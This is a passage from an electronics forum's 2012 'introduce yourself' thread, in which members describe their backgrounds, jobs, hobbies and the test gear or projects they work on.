I'm a big fan of Dave's blog which I only discovered a couple of months ago but now check several times a day in case something new has been posted!

I have a website if you are interested with some PIC tutorials (notes taken as I taught myself) and write ups of projects I am working on. 

Happy Australia Day! (At least it is here for 6 more hours or so!)

Will
Title: Re: New Member, Please introduce yourself
Post by: harnon on January 26, 2012, 06:45:21 pm
Ah yeah, sorry...  :o  A long day, 6hrs of maths!   http://www.williamhart.info/ (http://www.williamhart.info/)
Title: Re: New Member, Please introduce yourself
Post by: dTor the Calibrator on January 28, 2012, 02:10:39 am
Hello everyone!  My name is Darrin.  I am a calibration technician for the MS Army National Guard.  I have been in the cal lab for almost eight years now and I really enjoy my work.  I have calibrated far too many different items to list here individually, but in general we do most types of signal/function/arbitrary waveform generators up to 26 GHz (and we have a new model that is being fielded that goes up to 40 GHz), modulation/audio analyzers, attenuators/power splitters/filters, various aviation VOR/ILS/Transponder test sets, multimeters, power meters, all types of physical and dimensional, radio test sets... it would be easier to list what I haven't calibrated.

The test standards I use: at my bench, I have an Agilent E4448A & N1911 (MMR setup) with avionics measurement software, HP 3458 DMM, Agilent E4407 (don't use it too much anymore), Agilent infiniium OS-303 scope (soon to be replaced), Fluke 9640A, Anritsu 68369A/NV, IFR 2023B sig gen, LeCroy 9210 pulse gen, Fluke 5720A & 5725 calibrator and amp, Fluke 5820A oscope calibrator, Ophir RF 100W RF amplifier (forgot the model), Bird 4421 power meter.

We also have other benches that are more specialized in their tasking (meter bench, radio test set bench, avionics bench, etc.).  My primary focus is on sig gens, attenuators, microwatt meters, spectrum analyzers, and other electronic test equipment.
Title: Re: New Member, Please introduce yourself
Post by: MikeT on January 29, 2012, 11:25:01 pm
Hello I'm Mike From Wales, UK. I was interested in electronics & embedded controllers some years ago and now started to get back into doing and learning. Nice to see such a lot of friendly people on a really good forum in pursuit of the same interests.
Title: Re: New Member, Please introduce yourself
Post by: electrode on January 30, 2012, 10:40:12 pm
Hey guys,

I'm in my final year of a mechatronic engineering degree, but before that, a hobbiest of electronics for quite some time. I think I've been following EEVBlog since about episode 20 - seemed about time I joined up!

Anyway, in reading these boards for a few months, there's definitely some quality info and knowledgeable people around these parts. Good work Dave, et al.

 :)

PS: Is this capture verification thing going to happen for every post? Or just while I'm new?  :-\
Edit: Seems to be gone now. Woo.
Title: Re: New Member, Please introduce yourself
Post by: BlinkY on January 31, 2012, 09:56:44 pm
I might as well get my name here, I probably won't post all that much as I am new to electronics, though I know some basic information, and only usually read about it at the moment but aim to get more into it when I get a new job (redundant carpenter :/) and take it to a creating level with PCB's .
So my name is Martin I am from the Oxford (uk) but live in South Wales (uk). I'm a 24 year old qualified carpenter who is aiming to further his career by going to university to study information security to become a network administrator.
Though I haven't flown in a while I do fly R/C helicopters (nitro and lipos), so I guess that is as close to electronics as I am at the moment it does involve, at times, soldering lol :).
I do love electronics and envy any one working in it as a full time occupation. Luckily I have two uncles who both work or have worked within the electronic industry so I get to chat to them frequently.

Thank you for reading :).
Title: Re: New Member, Please introduce yourself
Post by: tbutton on February 01, 2012, 07:30:54 pm
I am an engineer from The Russian Federation with some time on my hands.
I have worked in the Aerospace industries.
Title: Re: New Member, Please introduce yourself
Post by: r0g3r on February 02, 2012, 07:23:52 pm
Hi all
My name is Roger
I love low power electronics stuff.
My specialtys are:
solar systems, energy harvesting, smd step up/down circuits, cnc engrave, visual basic programming and mutch more.
Special hi to Dave for making all the nice vids.
Cu l8ter  8)

roger
Title: Re: New Member, Please introduce yourself
Post by: Shocked on February 02, 2012, 08:00:45 pm
Hi, My name is Daryl and I am from Canada. I have worked in IT for many years and have taken up an interest in electronics and am currently trying to outfit a home lab.

I have enjoyed watching many of Dave's videos and they have been very helpful for me in product selection for my lab. Great work Dave!

Title: Re: New Member, Please introduce yourself
Post by: pikuorguk on February 07, 2012, 10:46:40 pm
I'm James. I mostly watch the blog on YouTube and randomly comment in there. By day I teach kids ICT, by night I write software and take electronics to bits (http://piku.org.uk). I've been merrily voiding warranties since I was old enough to work out that the insides of gadgets are much more interesting than the outsides. I also collect retro computers.

I used to be an outdoor activity instructor in a past life and used to do rock climbing and the English equivalent of canyoneering, which is a rather cold thing to do in the UK.

My electronics knowledge tends to be functional - I can repair things that go 'pop' (like the PSU in my BBC Micro). One day they'll invent more hours in the day and I'll be able to sit down and spend time learning all the theory too ;-)
Title: Re: New Member, Please introduce yourself
Post by: pr0gg3d on February 08, 2012, 02:36:35 pm
Hi guys, i'm very happy to join this forum. The EEVBlog is absolutely amazing!

I hope to share ideas, projects, doubt and experiences with you all, and keeping this forum live.

See you soon!



Title: Re: New Member, Please introduce yourself
Post by: BlinkY on February 08, 2012, 09:15:43 pm
I'm James. I mostly watch the blog on YouTube and randomly comment in there. By day I teach kids ICT, by night I write software and take electronics to bits (http://piku.org.uk). I've been merrily voiding warranties since I was old enough to work out that the insides of gadgets are much more interesting than the outsides. I also collect retro computers.

I used to be an outdoor activity instructor in a past life and used to do rock climbing and the English equivalent of canyoneering, which is a rather cold thing to do in the UK.

My electronics knowledge tends to be functional - I can repair things that go 'pop' (like the PSU in my BBC Micro). One day they'll invent more hours in the day and I'll be able to sit down and spend time learning all the theory too ;-)

Fasinating post James. What language do you write in by the way. I have recently started c++ as my first. I tried VB but it doesn't seem the most used now.
Title: Re: New Member, Please introduce yourself
Post by: Baliszoft on February 09, 2012, 09:36:47 am
Hello!

My name is Balazs (Brian) Farkas, I am 37 at the moment, living in Budapest, Hungary (Europe). I supposed to be a software engineer, working mainly on low level devices (DSPs and uControllers) using assembly language exclusively. I am also doing the hardware work (engineering, prototyping) for all my stuff. The project i am actually working on is a complete automotive engine management system.
Title: Re: New Member, Please introduce yourself
Post by: plentyngood on February 10, 2012, 02:38:06 am
Hi,

My name's Kevin. I have lived in Ecuador the last six years and just recently got interested in microcontrollers. All the gear I have is the gear Dave hates...cheap! I'm just a hobbiest but like the forum for talk on microcontrollers and measurement accuracy.

Come visit!
Title: Re: New Member, Please introduce yourself
Post by: nickds1 on February 10, 2012, 03:17:45 pm
Hi - Name's Nick - degree is in EE a while back, but I do maths & stuff for finance companies as a day job. Still do electronics stuff as a hobby - design amps etc. for friends and have a long standing interest in cold-cathode display devices - I run the neonixie-l google group (drop in and see us - lots of EEs/artists with interests in vintage displays there). Put a photo of part of my bench in the workbench thread...
Title: Re: New Member, Please introduce yourself
Post by: Vredstein on February 12, 2012, 06:29:32 am
I'm a bicycle mechanic from Arizona. Know nothing about electronics, but it seems like a good outlet for my desire to find out how things work, why some things don't work, and how to make something work better. Don't even own a breadboard yet. Tools and gadgets get me hard and this place is an orgy.
If this post shows up, it means I managed to get the "Verification" math question correct, and there might be hope for me.
Title: Re: New Member, Please introduce yourself
Post by: Mashpriborintorg on February 12, 2012, 04:41:21 pm
Hi, I'm Sylvain, I have a electronics school background, but it was years ago, and sadly job opportunities took me away from doing electronics for a living. My main hobbies are collecting exotic electronic stuff, from avionics to pacemakers, with a special attract for eastern electronics. Google for "flickr mashpriborintorg" to find my photostream, it has more than 1000 photos of more or less unusual electronic stuff. An other hobby is (of course...) tinkering and taking appart things , but needless to say I'm now fed up with tinkering crappy consumer electronics (I've done dozens of computers, tvs, vcrs, printers, laptops, cameras, microwaves and so on....), so I try to get more interesting stuff to play with. One piece at a time, I'm also trying to put together a small lab, in order to be able to play more, review yhe basics and try to fix more and more stuff.
Title: Re: New Member, Please introduce yourself
Post by: Majorstrain on February 14, 2012, 06:38:59 am
Hi Guys and Gals,
I'm an electronics and strain gauge tech here in Perth, Western Australia working for one of the universities.
Hobby wise, I'm into CNC and manual machining as well as RC aircraft.
Cheers,
Phil
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on February 14, 2012, 07:27:48 am
Gooday Phil,
West Oz Rules!
VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: cowboy303 on February 14, 2012, 03:54:38 pm
I'm a Cattle, Goat, Chicken, farmer in South East Missouri.
Love electronics but don't new much about them.  Was researching on youtube and ran  into Dave watched 20+ hours of him then thought I'd look at the eevblog and found you guys.  found all sorts of info and now thanks to Dave and you I'm working on a power Supply(something I wouldn't have touch with a ten foot pole before). :)
Title: Re: New Member, Please introduce yourself
Post by: oddeohead on February 15, 2012, 02:25:19 am
Hi everyone and Dave of course! I have been lurking for eons and have finally decided to register! I really hope to meet some great people who share in the love of electronics.
My primary field is audio and I also design custom switching systems for pro and not so pro musicians.
Have a great day!
Jeff
Title: Re: New Member, Please introduce yourself
Post by: rkoval on February 18, 2012, 12:52:00 am
Hello everyone,

My name is Richard.  I live in Connecticut/USA.  I am a chemist by day that repairs scientific equipment for a large instrument company.  After hours I love to work on electronics, programming and science related things. I've been doing "Teardowns" since I was a kid. Love seeing it covered here.

Plan on building up Dave's Version 1 power supply.  Really excited about it.  Looking forward to other build videos.

Thanks
Title: Re: New Member, Please introduce yourself
Post by: nardev on February 18, 2012, 01:50:26 am
EE student dropout, IT bsc and very interested in micro-controllers...currently only PIC
Title: Re: New Member, Please introduce yourself
Post by: dustooff on February 18, 2012, 04:06:37 am
Hi all,
another b^*###& aussie...
SE QLD
been doing Electronics tech work since late 80's, mostly instrumentation.
actually came into contact with some of Dave's designs around 93-94.

Am another CNC'er.

hobbies, making things out of wood.

regards
Andrew
Title: Re: New Member, Please introduce yourself
Post by: Christe4nM on February 18, 2012, 02:58:05 pm
Hi everyone,

Two weeks ago I stumbled on the EEVblog while researching DMM’s. Thanks to Dave and some of your reviews I decided to order an Agilent U1272A as my very first measurement device. While watching Dave and reading the forums I realized there’s a ton of information/treasure here, so I registered and became a forum member.

I’m an undergraduate EE student from the Netherlands. I think I’ll be mostly asking questions, but hopefully I’ll be able to contribute as well. Before university I never thought a moment about EE, but since the start of the study it grew on me and currently I’m considering designing my own linear voltage supply. By reading a lot I understand the basic design, but I’d like to go deeper into line- and load regulation, step response, etc. (Yes, I’m a bit of a perfectionist  ;)) Also I hardly know anything about MCU’s so, I’m guessing it’ll be a multiyear project, but learning and discovering is really fun.

Greetings,
Christean
Title: Re: New Member, Please introduce yourself
Post by: nardev on February 19, 2012, 11:07:49 am
Hi all, my name is Filip and I am from Croatia. No formal education in electric/electronics (I am machinist) but electronics is my hobby from early days...

Dje si komšija, ješta mai :D
Title: Re: New Member, Please introduce yourself
Post by: Tube_Dude on February 19, 2012, 03:59:29 pm
Hello

I'm Jorge, from Portugal and have been lurking around for some time.

Today I take the decision to become member of this thoughtful comunity...
Title: Re: New Member, Please introduce yourself
Post by: Pentium100 on February 19, 2012, 11:16:59 pm
Hi, I live in Lithuania, somebody on Stack Exchange linked to one of the EEVblog videos and I watched a lot of them - really interesting.

While I sometimes build new devices, I am more interested in repairing old ones and to do that effectively I have to understand how the device works and the design of it, since I sometimes cannot find service manuals or circuit diagrams. Building new stuff is fun, but takes a lot of money - this is why I don't do it very often. I also only build things for myself - not mass production for sale.
Title: Re: New Member, Please introduce yourself
Post by: steve_w on February 20, 2012, 06:14:44 am
Hi

My name is steve, I was a radio tech but now work in management :-(   I get my electronics fix after hours.  I am into micros and home automation, Love AVR and would like to get into PIC.

Title: Re: New Member, Please introduce yourself
Post by: LuckyJaker on February 20, 2012, 04:02:35 pm
Hi my name is Luc I am from Quebec, Canada.  I designed electronics and software/firmware for the last 30 year although my degree is in physics.  Dave I really enjoy your blog.  (I am french canadian, so forgive me for the quality of my english).
Title: Re: New Member, Please introduce yourself
Post by: lloop9 on February 21, 2012, 04:04:01 am
Hello guys, I'm Andrew. I've been lurking for sometime now, but its time to show my true colors, hehehe. Thank you for having me here! This is a fantastic place to be!
Title: Re: New Member, Please introduce yourself
Post by: gnamp on February 21, 2012, 04:31:55 am
Hi, I'm Dominic. I'm a law student & taxi driver in England. I'm interested in programming, computer-graphics and electronics. I like designing and fixing things :)
Title: Re: New Member, Please introduce yourself
Post by: Andy on February 22, 2012, 12:34:11 am
Hi all! My name is Andy. Just finished a Software Engineering degree in Australia. Stumbled across the EEVBlog a couple of months ago and had my childhood interest in electronics reignited!
Title: Re: New Member, Please introduce yourself
Post by: opticpow on February 22, 2012, 12:39:31 pm
Just posting so my account doesn't get killed again!!!
Title: Re: New Member, Please introduce yourself
Post by: IntrepidN00b on February 22, 2012, 06:03:19 pm
Hi Im Chris From Sweden, im curious has hell and loves to learn new things.
I get bored very easily and love challenges that are quite a bit over my current capacity.

I'm what you engineers would call a "Liberal arts student", well former one, and a drop out at that =D
Ive studied infomratics, systems theory, visual culture, inter artial relations, History of Ideas and science, and more.
Have worked for Nikon Nordic as a technical advisor to stores, customers and professional services, have also done an internship as a museum photographer and archivist. Current employment is IT Helpdesk (SPOC, 1st line).

Whent toa technical natrual sciences program at hichschool some 10 years ago.

I'm very much into the hacker mindset.

Im trying to learn to build stuff that amazes and make my life easier, so i have yet to figure out how to get midi enabled DSSTC automated into my htpc system running xbmc... ;-) (that was only half a joke btw)
Title: Re: New Member, Please introduce yourself
Post by: rolycat on February 22, 2012, 08:50:59 pm
Hi, I've been interested in electronics since my schooldays in the 1970s when I built my first computer, a single-board 6502 with 4K of memory called the UK101.

First encounter with microcontrollers was in the late 90s when I bought a Simmstick AVR programmer called the DT006 from Dontronics - anyone remember those?

Since then I've done more programming than electronics, but my interest has been rekindled by Dave's blog and I'm getting into SMD techniques and newer chips like the PIC24.
Title: Re: New Member, Please introduce yourself
Post by: jaycee on February 26, 2012, 12:12:03 am
I'm Pete, a 30 year old guy from the UK, living in Norwich.

Electronics has been a long term hobby of mine which I don't get to do often enough. By trade I am a software engineer.
Title: Re: New Member, Please introduce yourself
Post by: stanigator on February 27, 2012, 04:13:23 am
My name is Stanley Lee. I graduated from electrical engineering a few years ago in Canada. Even though I am not practicing it professionally, I would still like to engage with a community such as this one.
Title: Re: New Member, Please introduce yourself
Post by: Write_to_Smokegenerator on February 28, 2012, 08:09:46 am
Hello. I'm Michael, I live in Austria and I'm interested in Hobby Electronics
Title: Re: New Member, Please introduce yourself
Post by: Randall W. Lott on February 28, 2012, 07:36:32 pm
I've been an avid viewer of the EEVblog on YouTube for many years, but I decided it would be a smart choice to join the forum.

I'm Randy; a 23 year old Electrical Engineering student, PCB designer, and start-up company CTO in the USA.
Title: Re: New Member, Please introduce yourself
Post by: Greg323i on February 29, 2012, 10:36:16 am
My name is Greg, I'm a scorpio living in Melbourne. I'm into cars, audio electronics, music, jet engines, etc. I'm married, but open-minded. Be gentle with me.  ;D ::)

I found Dave's videos through the 555 timer contest, actually and I've been watching all of them since last week. Some really good stuff there.
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Post by: Adrien on March 01, 2012, 11:07:14 pm
Hi My name Adrien. I'm an Electronics Engineer in Auckland, New Zealand. Mainly working on Power Electronics devices. I am interested in Electronics in general, cars, Snowboard and windsurfing
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Post by: mrdubje on March 02, 2012, 07:00:35 pm
Hello all.
I'm Jeroen from The Netherlands, 23 years old at this moment. Electronics was my main interest from when I was little, now I have made my (fairly passive) hobby into my work.
My daily job consists of repairing and testing products or just assembled PCB's. Occasionally, I build or help building test setups too. In short: I'm a test&repair operator/engineer.
My wish is to take place in a R&D department as a support technician for building test setups and such, thinking along with the development team without being completely responsible for a whole product and learning a lot in the process.

My schooling consists of a theoretical base, followed by an electronics study (Intermediate Vocational Training) for which I had to learn telecommunication techniques, transmission techniques, computer network management (Windows based) and lots of other stuff I do not know how to name in English. I graduated from it and have my diploma.

Software programming of chip programming (or on the computer, writing programs) is a nightmare for me. I just do not know where/how to start.
Same for my math skills, horrible (I'm not to keen on complex calculations)
This is what's keeping me from a higher level of education, unfortunately.

My hobby consists of repairing the occasional failure at home and building projects grabbed from the Internet from time to time. Also some minor modifications at various equipment.
I also learned to fabricate PCB's at school, but don't own any equipment to do so at home, something for the future I guess.

I stumbled upon the EEVBlog on Youtube a half year ago, watching and catching up since. I think Dave is great and probably was a nice colleague to have when at work.
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Post by: danander11 on March 03, 2012, 01:07:05 pm
Danny here...

A Yank (born Arizona, from Houston Texas), living in Oz now.. (8 years).

Drummer for about 38 years..  recently got into audio engineering.  Building a nice project studio with some nice gear that I've accumulated..  building more.

No Einstein but I get by..  I ask a lot of questions but I'm not above jumping in anyways and sorting things out for myself.

Peace!
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Post by: Krapao on March 04, 2012, 12:50:14 pm
Hi, my name is Stefan, but i choose my user name from my favorite food :-)
I'm from Germany and do digital electronics with AVRs on hobby level.
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Post by: skyfilter on March 04, 2012, 02:03:10 pm
Hi, my name is Ed. I am a manager at a Telecommunications company. Since very young I have always been interested in electronics. It has been my hobby for many years. For the last ten years not so much due to other responsibilities at work. I am looking rekindle that interest since I plan to retire one day doing what I like most. I have been searching for a good low cost oscilloscope. I read several reviews on many sites and narrowed down my selection to the Rigol DS1052E. I have had the brand new scope for one day and suddenly it crashed on me. I am seeing vertical bars or sometimes a white pattern only. It does go through the boot process where you see the "loading ..." message. My scope was shipped with what I think is the latest firmware (02.06.00). Feedback from other people who might have run into the same problem would be much appreciated. I am quite disappointed that Rigol does not have a good quality control of their products.
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Post by: ChrisMe on March 04, 2012, 10:23:52 pm
Hi my name's Chris, 25 yrs old, I'm an engineering student and I am developing applications based on PIC or AVR microcontroller on the side. I also develop Java based solutions for companies
When I'm not doing anything related to before mentioned things, I'm a passionate motorcyclist.
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Post by: darrenb on March 05, 2012, 09:37:01 pm
HI my name is Darren.  I'm 44 years old.  My full time job is 'airline pilot'.  I fly a 13 tonne SAAB 340 twin turboprop all over eastern australia out of Sydney airport.  I've only been doing this for a few years.

My previous job for ten years was self employed shareware software developer.  I made over a million dollars (spread over ten years - so not that much really) making a program called CityTime which was consistently in the top ten apps for Palm devices for many years.  CityTime and a few other apps that I have made are currently available for iPhone.  This was the easiest job I've ever had.

Prior to this I was a self employed Macintosh computer consultant.  This job was the most fun of anything I've done.  I'd run around the Sydney CBD (central business district) with a briefcase and a mobile phone helping out various clients with their computer problems.

Be careful what you wish for - it may come true.  Since I was a kid I had always wanted to be an airline pilot.  Now that I have achieved this it is the thing I've least liked doing out of all the things I've done in the last 20 years.
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Post by: mtkaalund on March 06, 2012, 04:30:53 am
Hi, from Denmark, my official English title is "Bachelor of Engineering in Electrical, Electronic and Computer Engineering", which basic says that Im a electronic engineer, so....
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<ponds on what to write>
...
Been following Dave for a couple of months now, and I have taken an interested in his video blogs.

 
Title: Re: New Member, Please introduce yourself
Post by: PaulS on March 06, 2012, 06:02:12 am
Hey! I am Paul, 19 years old.

Currently in my second semester of electrical engineering at University of Colorado -  Colorado Springs.

I've been into electronics as long as I can remember, and I found EEVblog while looking to learn some more.
Currently I am watching all the the videos, on #38 right now.
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Post by: Spawn on March 08, 2012, 02:53:38 am
Hi everyone, i am from the Netherlands.

I am electrical field engineer for 22 years now, i am following Dave on his youtube channel for a while now so i thought i should register here to share some knowledge and most important to learn a lot from others.
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Post by: DeezNANDs on March 08, 2012, 06:43:23 pm
Greetings all!

My name is Drew, and I'm from the Northeast US. E.E. by degree, in college I had focused more on the VLSI design and solid-state physics end of the stick. I also had a great interest in high voltage systems and lasers. Sadly, I've spent most of my career so far doing QA type work for consumer electronics - and the hobbyist in me was put on hold for the last 8 years or so :)

Anyway - enthusiastically getting back into it now and digging out all my old test gear and inventory. Found eevBlog and have been following Dave's videos and the forum for a little while now. Seems like a great bunch of people here, and a good knowledge base.

So that's that!
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Post by: jyaan on March 08, 2012, 10:55:12 pm
I'm Jonathan from Michigan (USA). I'm a software guy -- lots of experience with C, Java, Lisp, Python, etc. I'm still more or less starting out in the "professional" sense though. Anyways, I thought it would be really interesting to try coding on smaller devices, so I got an Arduino, Launchpad, meter, breadboard, etc (I'm still lacking a few important bits of kit -- particularly a scope -- but I manage). I found myself wanting to learn more about how electronics worked, and have been spending time reading various books and articles I found on the net. Eventually I found Dave's blog, so here I am.
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Post by: Greate on March 09, 2012, 10:21:49 pm
I'm JD, new here a not so smart electronic technician that probably asking a lot of question here. Please be patient with me.
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Post by: TriodeTiger on March 09, 2012, 11:09:52 pm
Hello EEVblogforum!

My name is Alexander, had sparked an interest in electronics a year ago by reading an old electronics course manual. Dave got me really interested in project design mid way, I simply love his sarcasm and seemingly coffee-driven episodes.

I know all sorts and bits of theory that are a little broken, have yet to *actually* build some things and have fun - finally have the time and money to do so. :) In fact ordering my Hakko FX-888 in a week.
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Post by: Quiggers on March 15, 2012, 10:44:52 am
hello,
I completed a degree in electronic engineering last year and i'm half way through an add-on in electronic systems.

I'm a keen hobbiest, anything to do with audio / midi etc is right up my alley.

It was the video reviews of multi-meters and DSO's that brought me here.


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Post by: kj5cn on March 15, 2012, 06:07:38 pm
Hi all,

I'm Peter, my homebase is Florida USA. I'm a senior electrical engineer, currently working as an independent contractor/consultant in electronic hardware and embedded software design.
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Post by: alcwell on March 15, 2012, 08:13:27 pm
Hi all, I Alastair from the UK. I'm a mechanical guy and found EEVBlog when I decided it was time I learned a bit more about electronics while I was converting a manual bench mill to CNC.

I have been lurking for a while and am hoping the my account won't disappear again now that I have posted something!
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Post by: Aldem on March 16, 2012, 07:50:57 pm
Hi, I'm Alan !

I'm from Québec, Canada.
28 Years old.

I have 2 diplomas. One as an industrial electrician and one as an industrial mechanic.

My father and 3 of his brothers are electricians, son when I was young, motors and circuits were my "lego blocks" ;)

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Post by: ShiftRegister on March 16, 2012, 10:53:29 pm
Hi from England,

I'm just a hobbyist who used to play a little bit here and there with electronics as a teenager. Fast forward several decades and I picked up Arduino UNO R3 recently which sparked my interest in electronics again and quite by coincidence I have also stumbled upon Dave's videos on YouTube which brought me to this forum.

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Post by: jhalar on March 17, 2012, 07:40:48 am
Hi I'm John,

I am from Sydney Australia.

I graduated as a computer and electronics engineer in 1992. Designed mainly microcontroller (68HC11 and similar) and RF stuff back then.
Moved slowly into computer servers and network engineering, fulltime by 1997. Have been in the IT side ever since.

I was feeling nostalgic and realised that I did not want to completely forget my skills I used to have in electronics.
Looking around the internet, trying to catch up on the electronics world when I came across this blog. Got me hooked.

Keep it up.

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Post by: ampdoctor on March 22, 2012, 09:26:21 pm
Hi all;

I'm Carl and a product of the USN and Northern Illinois University. Started out ME and ended EE. Been working in pro audio in the area of design, repair, and modification of primarily valve electronics for the past 15 odd years.  I've been knocking the cobwebs out of the belfry lately and relearning a lot of what I've forgotten over the years, particularly in the area of embedded systems, and wound up here through Dave's youtube videos. This seems like a really good forum with good folks and I hope I'll be able to contribute in a positive way here.
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Post by: digitalundernet on March 25, 2012, 05:46:23 am
Hey all. I'm JT and an EE student. I've been big into electronics since I was a kid. My parents quite loved that I kept trying to make robots. Back then all I did was BEAM type bots. Now I'm trying to learn more and I've dove head first into a project that might break me. I'm building (yet another) a Z80 computer. I've got some pretty lofty goals I don't quite know if I'll reach like 1 mb of RAM, ISA video, prototyping for extra hardware. I joined because I need a group to talk to, get feedback and learn from. I've followed Dave for a while but decided "Why the heck not?" and joined.

HI!
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Post by: Alex_arg on March 26, 2012, 04:10:30 pm
Hi all, greetings from Argentina.
My name is Alejandro, i'm a self-taught electronic technician and C++programmer, living in small city in Argentinian NE.
I've always been working in design/build all sorts of electronic designs, but mostly as a hobby. I run a service/repair shop for living. (no work positions for design in this zone, and less for a 45 y.o. man).
I want to thank Dave for this great idea of video blogging, i've become a fan of this site and i like very much Dave's style of hosting the videos. Í discover the site a few weeks ago, so i'm getting up to date watching all the videos , some are very fun!.
Curiously, i always did the same thing when buying new instruments or any piece of equipmennt, open up first ! to see what's inside. :-).

Congratulations Dave ! you are doing a great job, mostly for young people interested in electronics. I still waiting your next video ! Bye
 
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Post by: 2is4 on March 28, 2012, 09:00:50 am
 Hi my name Tesfa i am from ethiopia and currently in my last year of high school. I have always been interested in electronics because of my family. My dad is an epidemiologist and uses satellites to track the spread of diseases and always had cool bits of kit at home. I am currently hoping to set up a small lab so that i can build an 8 bit processor that i have designed  :)
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Post by: graynomad on March 28, 2012, 09:32:06 am
Hmmm, well first electronics job in 1980 after about 8 years as a globe-trotting photographer/any job I could get.

Worked for 20 years in electronics/IT from analogue design to fuzzy logic database stuff. Had a product (EPROM emulator) on the market for a while.

Retired at 45, sold everything and hit the road.

Now I spend my time doing nature photography, writing, and tinkering with embedded uC designs while living wherever my 6x6 Army truck happens to be parked.

I spend most of my web time on the Arduino forum but hopefully can contribute here as well.

BTW, is it only newbies that have to enter that annoying verification code or does that continue for ever?

______
Rob
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Post by: artico78 on March 28, 2012, 09:43:54 am
Hi, im an Engeneer in Electronic, i fix musical instruments like keyboards, mixer, live equipment. Electronic its my life, i studied for all my life that. Unfortunately in Italy its not easy work on hardware, just jobs like programmers in 90% of cases.
I hope to give my little help to made our blog grow up.
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Post by: christ on March 29, 2012, 12:33:10 pm
Hi - Chris from Scotland, here! I stumbled across this site and found a couple of interesting threads.......
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Post by: Taburn on March 29, 2012, 01:27:58 pm
Hi, my name is Adam. I'm in my third year of electrical engineering and am currently on a co-op work term at an army base. I want to buy an oscilloscope, which is what lead me here  ::) My interests mainly revolve around analogue design and making tinny things that fit in boxes.
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Post by: mc on March 30, 2012, 11:55:36 pm
Hi,
Moray here from Scotland.

I'm a vehicle technician during the day, predominantly dealing with diagnostics, but have always played with electronics/computers/websites for just as long as I've been playing with vehicles. I'm currently using Arduinos for a couple projects I've got on the go, and happened to stumble across this place while searching for some info on desigining/assembling my some SMD boards.
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Post by: AndyT8 on April 01, 2012, 02:32:37 pm
Hi I'am Andy,

Now retired but used to work with control and data logging in the Chemical Engineering research field.  Worked a lot with PC's and data logging software and hardware.  Now days mostly repairing odds and sods at home but hopefully getting involved with my local school and the Rasberry Pi single board computer. Science Technology Engineering Maths ( STEM ) is the new name of the game in education, at last comming round to something sensible.
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Post by: free_electron on April 04, 2012, 12:11:59 am
Howdy  (fake 'Aussie' accent, not nearly as good as Dave's) , the name's Vincent Himpe but i go by the handle free_electron. I started electronics by burning my finger on a, too hot, transistor in a little radio when i was about 6 or 7 years old. After finishing school at 18 i ended up as a maintenance tech in a semiconductor waferfab. I did wet-etch, plasma-etch and ion-implantation as well as lithographic equipment and some other wacky machines like ashers, vapour deposition and sputtering machines. After successfully troubleshooting the electronic assemblies, at component level, ( they used to get shipped back to the manufacturer at exorbitant prices ) and doing some 'upgrades' to some of these machines i moved on to the R&D lab. I made the eval and prototype boards for newly minted silicon , wrote firmware and test software (GPIB) and debugged the chips using lasercutters , die probers e-beam machines and FIB equipment.

I helped debug and design the first ADSL chipsets in 1995, long before anyone had even heard about this technology.  I designed the board ( 12 layer pcb ) with the  line interface, analog frontend , a/d d/a , the modem ASIC as well as the first CARM chip (an ARM7 with a cache controller. We were the first users.. even ARM hadn't tried that one yet.. there were no compilers. Only a JTAG debugger that let you poke around in the RAM directly in HEX... I wrote the bootloader for the CARM in hand crafted assembly and translated it, by hand in HEX so it could be punched in, as well as the board-level downloader . This code is still in use today as it is now a standard for booting the ADSL firmware. It sits in mask ROM and cannot be altered.

In 2000 i moved to a new design center to assist in the mass deployment of ADSL technology. I was responsible for the R&D lab , the design of the reference and application boards as well as the engineering proto's. We had our own in-house pick and place and reflow oven to do quick-time ( less than 4 hour) prototypes of boards.
After the comms bubble burst in 2003, i dabbled some more in ADSL and then moved on to Bluetooth after the ADSL group was disbanded.

Having figured out after a few months that this was a dead-end technology i moved on to a new horizon. Bluetooth was conceived when 300 kilopixel camera's were the norm. They had grand idea's of people taking snapshots and sending them through bluetooth from the camera to the printer. By the time the first bluetooth chips were commercially viable and mass deployment had begun we had 3 megapixel camera's. And sending a single image would take 10 seconds... All the grand visions they had for bluetooth never materialized as it was obsolete by the time it hit the mass market. Killed by its too low data bandwidth. Wifi had taken over and bluetooth was relished to simple things like keyboards, mixe and little earpieces. For anything else it was too slow.

So , beginning 2005 i entered a new world: that of the datastorage and harddisks. Today i am perpetually pondering on new ways to make the silvery platters that people thrust their data to, spin smoothly. Make circuitry to position the head even faster and more accurately, all while checking for shocks, rotations, drops, vibrations and keeping the power consumption of the SOC and preamps on the heads in check. When an unexpected event causes power loss i recuperate the energy stored in the spinning disks ( by using the brushelss three phase motor as generator ) to safely complete a write operation and then retract and park the heads off the platter. If your computer contains a harddisk that is younger then 5 years there is a better than 70% chance it's got a chip in it that i helped design, debug and write code for (can't take all the credit. This is a team effort of over 50 people). I am still repsonsible for the eval boards and platform , the drive board level code ( the API to the drive algorithms, call it the HAL ) . I make all the development boards (Altium/Solidworks since it has to mate with the drive mechanics) write the eval code (8051 in PL/M and ARM7 in C / Assembly, FPGA in Verilog before it ends up in the ASIC) and write the test system on the PC to tdrive the eval board and all instrumentation ( GPIB/ USB/ Ethernet ) . PC code is Visual Basic / C# mixture with a gateway to a python and matlab test-scripting  and visualisation backbone.

In my spare time i dabble with any electronics i can lay hands on. Living in Silicon Valley has its advantage that all the good trade shows are in-town and it is easy to get free development kits.
I have published multiple books on electronics (Dave showed my previous one in #251) and am writing a bunch more.

When not dealing with electronics ( hard to believe , but yes, every year i 'pull the plug' on electronics for three weeks -literally- ) i can be found on some tropical reef , a tank with 32% oxygen strapped on the back , video or photocamera in hand , chasing all kinds of little critters. I have two unbreakable rules when it comes to scuba diving : i want an ocean that is 80 degrees F or more ( 27 celcius ) and 100 ft ( 30 meters) of visibility. The best piece of diving gear is an airplane... because it takes you to a warm ocean.

I got my own domain : www.siliconvalleygarage.com (http://www.siliconvalleygarage.com)

Still wondering why that transistor was so hot...
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Post by: graynomad on April 04, 2012, 12:51:01 am
Quote
When an unexpected event causes power loss i recuperate the energy stored in the spinning disks ( by using the brushelss three phase motor as generator ) to safely complete a write operation
That's clever.

Nice photos, I also moonlight as a photographer (www.robgray.com (http://www.robgray.com)) but strictly above water. I have a mate who dives a lot, he's currently up in the Phillipines and has similar criteria to you re water temp and visibility.

______
Rob

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Post by: neotesla on April 06, 2012, 08:49:37 am
